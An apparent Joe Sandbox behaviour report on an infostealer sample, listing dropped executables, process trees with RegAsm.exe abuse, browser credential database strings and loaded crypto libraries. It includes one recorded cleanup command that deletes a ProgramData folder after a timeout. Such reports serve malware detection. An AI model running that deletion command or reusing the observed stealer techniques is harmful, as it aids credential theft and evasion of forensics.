Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00428581	13_2_00428581
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00403660	13_2_00403660
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00410690	13_2_00410690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_004487D0	13_2_004487D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00447870	13_2_00447870
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_004378C0	13_2_004378C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00407900	13_2_00407900
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_0040C9D0	13_2_0040C9D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_0041DACA	13_2_0041DACA
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00406B60	13_2_00406B60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00437B70	13_2_00437B70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_0042CB0F	13_2_0042CB0F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_0042ABF9	13_2_0042ABF9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00443B90	13_2_00443B90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_0040BC60	13_2_0040BC60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_0040ACC0	13_2_0040ACC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00426D6F	13_2_00426D6F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00447D70	13_2_00447D70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_0042CD08	13_2_0042CD08
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00412D20	13_2_00412D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00404DB0	13_2_00404DB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00449E50	13_2_00449E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00413E12	13_2_00413E12
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00410ED0	13_2_00410ED0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_0043DF50	13_2_0043DF50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00406F00	13_2_00406F00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 13_2_00408FCE	13_2_00408FCE

Source: Joe Sandbox View	Dropped File: C:\ProgramData\EBGDHJECFC.exe 0A6A258BFDB9B1947F2945B44E274FF3F06A7C5C733FF83C2A71C5F911FA9CC0
Source: Joe Sandbox View	Dropped File: C:\ProgramData\KKEBKJJDGH.exe 2A7CDB79045658B9C02EBBB159E5B3680D7D6D832DBD757572F7D202C3FA935D

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 004047E8 appears 38 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6C3709D0 appears 33 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 00410609 appears 71 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 004104E7 appears 36 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 0041C710 appears 153 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6C17CBE8 appears 134 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 6C1894D0 appears 90 times
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: String function: 0040C7C0 appears 50 times

Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5776 -s 944

Source: file.exe

Static PE information: invalid certificate

Source: freebl3.dll.3.dr

Static PE information: No import functions for PE file found

Source: freebl3.dll.3.dr

Static PE information: Data appended to the last section found

Source: file.exe, 00000000.00000002.2066450733.0000000000D6E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: OriginalFilenameclr.dllT vs file.exe
Source: file.exe	Binary or memory string: OriginalFilenameVQP.exe< vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: EBGDHJECFC.exe.3.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: 66f4247d51812_lfdsjna[1].exe.3.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: KKEBKJJDGH.exe.3.dr, -Module-.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: 66f424e80b9cc_idsmds[1].exe.3.dr, -Module-.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: MFDBG.exe.7.dr, -Module-.cs	Cryptographic APIs: 'TransformFinalBlock'
Source: FDWDZ.exe.8.dr, -Module-.cs	Cryptographic APIs: 'TransformFinalBlock'

Source: KKEBKJJDGH.exe.3.dr, QXV0b1NldHVwQUFB.cs	Base64 encoded string: 'SP3DikImXrLjXqSGQsSe2vRYRkPQs37w5lXXpehDe/REqetzhIvbN6DFRW/dKlYJ', 'yAbZvp6jLitNltmgUkh0TEM3St7v9GH+q9tfw2jGMF6iMFtepkj2kg==', 'yAbZvp6jLitNltmgUkh0TEM3St7v9GH+q9tfw2jGMF6iMFtepkj2kg=='
Source: 66f424e80b9cc_idsmds[1].exe.3.dr, QXV0b1NldHVwQUFB.cs	Base64 encoded string: 'SP3DikImXrLjXqSGQsSe2vRYRkPQs37w5lXXpehDe/REqetzhIvbN6DFRW/dKlYJ', 'yAbZvp6jLitNltmgUkh0TEM3St7v9GH+q9tfw2jGMF6iMFtepkj2kg==', 'yAbZvp6jLitNltmgUkh0TEM3St7v9GH+q9tfw2jGMF6iMFtepkj2kg=='
Source: MFDBG.exe.7.dr, QXV0b1NldHVwQUFB.cs	Base64 encoded string: 'SP3DikImXrLjXqSGQsSe2vRYRkPQs37w5lXXpehDe/REqetzhIvbN6DFRW/dKlYJ', 'yAbZvp6jLitNltmgUkh0TEM3St7v9GH+q9tfw2jGMF6iMFtepkj2kg==', 'yAbZvp6jLitNltmgUkh0TEM3St7v9GH+q9tfw2jGMF6iMFtepkj2kg=='
Source: FDWDZ.exe.8.dr, QXV0b1NldHVwQUFB.cs	Base64 encoded string: 'SP3DikImXrLjXqSGQsSe2vRYRkPQs37w5lXXpehDe/REqetzhIvbN6DFRW/dKlYJ', 'yAbZvp6jLitNltmgUkh0TEM3St7v9GH+q9tfw2jGMF6iMFtepkj2kg==', 'yAbZvp6jLitNltmgUkh0TEM3St7v9GH+q9tfw2jGMF6iMFtepkj2kg=='

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@24/1064@14/11

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_6C1A7030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

3_2_6C1A7030

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_004114A5 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

3_2_004114A5

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 3_2_00411807 __EH_prolog3_catch_GS,CoInitializeEx,CoInitializeSecurity,CoCreateInstance,CoSetProxyBlanket,VariantInit,FileTimeToSystemTime,GetProcessHeap,HeapAlloc,wsprintfA,VariantClear,

3_2_00411807

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\file.exe.log

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess180
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5576:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1984:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2612:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess5776

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File created: C:\Users\user\AppData\Local\Temp\delays.tmp

Jump to behavior

Source: file.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: file.exe

Static file information: TRID: Win32 Executable (generic) Net Framework (10011505/4) 50.01%

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: RegAsm.exe, 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.3211109382.0000000020458000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3148077911.000000001A4E0000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.3.dr	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: RegAsm.exe, 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.3211109382.0000000020458000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3148077911.000000001A4E0000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.3.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: RegAsm.exe, 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.3211109382.0000000020458000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3148077911.000000001A4E0000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.3.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: RegAsm.exe, 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.3211109382.0000000020458000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3148077911.000000001A4E0000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.3.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: RegAsm.exe, 00000003.00000002.3211109382.0000000020458000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3148077911.000000001A4E0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: INSERT INTO "%w"."%w"("%w") VALUES('integrity-check');
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: RegAsm.exe, 00000003.00000002.3211109382.0000000020458000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3148077911.000000001A4E0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %s.'rbu_tmp_%q' AS SELECT *%s FROM '%q' WHERE 0;
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: RegAsm.exe, RegAsm.exe, 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.3211109382.0000000020458000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3148077911.000000001A4E0000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.3.dr	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: RegAsm.exe, 00000003.00000002.3372837629.000000006C37F000.00000002.00000001.01000000.00000008.sdmp, RegAsm.exe, 00000003.00000002.3211109382.0000000020458000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3302341001.000000003E864000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3148077911.000000001A4E0000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.3.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: RegAsm.exe, 00000003.00000002.3211109382.0000000020458000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3148077911.000000001A4E0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(addr INT,opcode TEXT,p1 INT,p2 INT,p3 INT,p4 TEXT,p5 INT,comment TEXT,subprog TEXT,nexec INT,ncycle INT,stmt HIDDEN);
Source: DGCFHI.3.dr, FIDHIE.3.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;CREATE TEMPORARY TABLE %s AS SELECT * FROM %sD
Source: RegAsm.exe, 00000003.00000002.3211109382.0000000020458000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3148077911.000000001A4E0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY,parentnode);
Source: RegAsm.exe, 00000003.00000002.3211109382.0000000020458000.00000002.00001000.00020000.00000000.sdmp, RegAsm.exe, 00000003.00000002.3148077911.000000001A4E0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE x(type TEXT,schema TEXT,name TEXT,wr INT,subprog TEXT,stmt HIDDEN);
Source: RegAsm.exe, 00000003.00000002.3277084132.0000000032989000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.3.dr	Binary or memory string: SELECT DISTINCT %s FROM %s where id=$ID LIMIT 1;

Source: file.exe

ReversingLabs: Detection: 36%

Source: unknown	Process created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\KKEBKJJDGH.exe "C:\ProgramData\KKEBKJJDGH.exe"
Source: C:\ProgramData\KKEBKJJDGH.exe	Process created: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe "C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe"
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process created: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe "C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe" --checker
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\EBGDHJECFC.exe "C:\ProgramData\EBGDHJECFC.exe"
Source: C:\ProgramData\EBGDHJECFC.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\ProgramData\EBGDHJECFC.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe "C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe"
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 5776 -s 944
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe "C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe"
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 180 -s 948
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\AEBAKJDGHIIJ" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10
Source: C:\Users\user\Desktop\file.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\KKEBKJJDGH.exe "C:\ProgramData\KKEBKJJDGH.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\ProgramData\EBGDHJECFC.exe "C:\ProgramData\EBGDHJECFC.exe"	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c timeout /t 10 & rd /s /q "C:\ProgramData\AEBAKJDGHIIJ" & exit	Jump to behavior
Source: C:\ProgramData\KKEBKJJDGH.exe	Process created: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe "C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe	Process created: C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe "C:\Users\user\AppData\Local\Temp\Malewmf\FDWDZ.exe" --checker	Jump to behavior
Source: C:\ProgramData\EBGDHJECFC.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 10

Source: C:\Users\user\Desktop\file.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: aclayers.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Section loaded: propsys.dll	Jump to behavior
